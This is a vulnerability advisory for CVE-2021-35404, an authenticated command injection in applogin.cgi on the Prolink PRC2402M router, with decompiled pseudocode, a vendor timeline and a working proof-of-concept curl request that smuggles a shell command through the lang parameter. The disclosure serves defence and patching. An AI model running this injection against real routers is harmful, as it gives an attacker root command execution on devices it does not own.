CVE: CVE-2021-35404

Tested Versions:

  • Prolink PRC2402M 20190909

Product URL(s):

Description of the vulnerability

This vulnerability is present as there are no checks on user input taken by applogin.cgi, which is passed to system, allowing an attacker to execute arbitrary code in the context of the root user on affected installations of the Prolink PRC2402M router.

Authentication is required to exploit this vulnerability.

The router makes GET requests through HTML forms to interact with the cgi scripts. To access the vulnerable script, visit http://localhost/cgi-bin/applogin.cgi.

In applogin.cgi, the main function checks if the api parameter is equal to app. If so, it calls the vulnerable function sys_login1.

    querystring = getenv("QUERY_STRING");
    ...
    __s1 = (char *)web_get("api",querystring,0);
    iVar1 = strcmp(__s1,"app");
    if (iVar1 == 0) {
        sys_login1(querystring);
    }
    iVar1 = strcmp(__s1,"logout");
    if (iVar1 == 0) {
        sys_logoff(querystring);
    }

As seen in the simplified pseudocode of sys_login1 below, if the user provided password is equal to the correct password’s md5sum, the user’s parameters ipaddr and lang are passed to do_system (which is just a wrapper of system) without any input validation, allowing an attacker to supply malicious input and gain arbitrary code execution.

void sys_login1(undefined4 request)
{
    ...
    ipaddr = (char *)web_get("ipaddr",request,0);
    ipaddr = strdup(ipaddr);
    password = (char *)web_get("password",request,0);
    password = strdup(password);
    lang = (char *)web_get("lang",request,0);
    lang = strdup(lang);

    ...
    if (strncmp(password, correct_password_md5, 0x20)) {
        ...
        sprintf(command,"echo %s,%s, > /tmp/language &",ipaddr,lang);
        do_system(command);
        ...
    }
    ...
}

Exploit

To exploit this vulnerability, perform a GET request to app_login.cgi with the password parameter containing the md5sum of the password, and the lang parameter containing the target command to execute.

For example (in this example the password is an empty string, and the md5sum of it is d41d8cd98f00b204e9800998ecf8427e):

curl 'http://localhost/cgi-bin/applogin.cgi?api=app&ipaddr=127.0.0.1&lang=$(echo%20gg%3E/tmp/gg)&password=d41d8cd98f00b204e9800998ecf8427e'

(Note that proper URL encoding should be applied on the querystring parameters for the server to handle the request.)

Timeline

  • 2021-06-10 Reported to Vendor, Prolink
  • 2021-06-10 Prolink acknowledged report
  • 2021-06-10 Prolink claimed to have patched it
  • 2021-06-11 Team member Daniel Lim sent in his bypass for their patch
  • 2021-06-11 Prolink acknowledged the new bypass
  • 2021-06-13 Prolink fixed it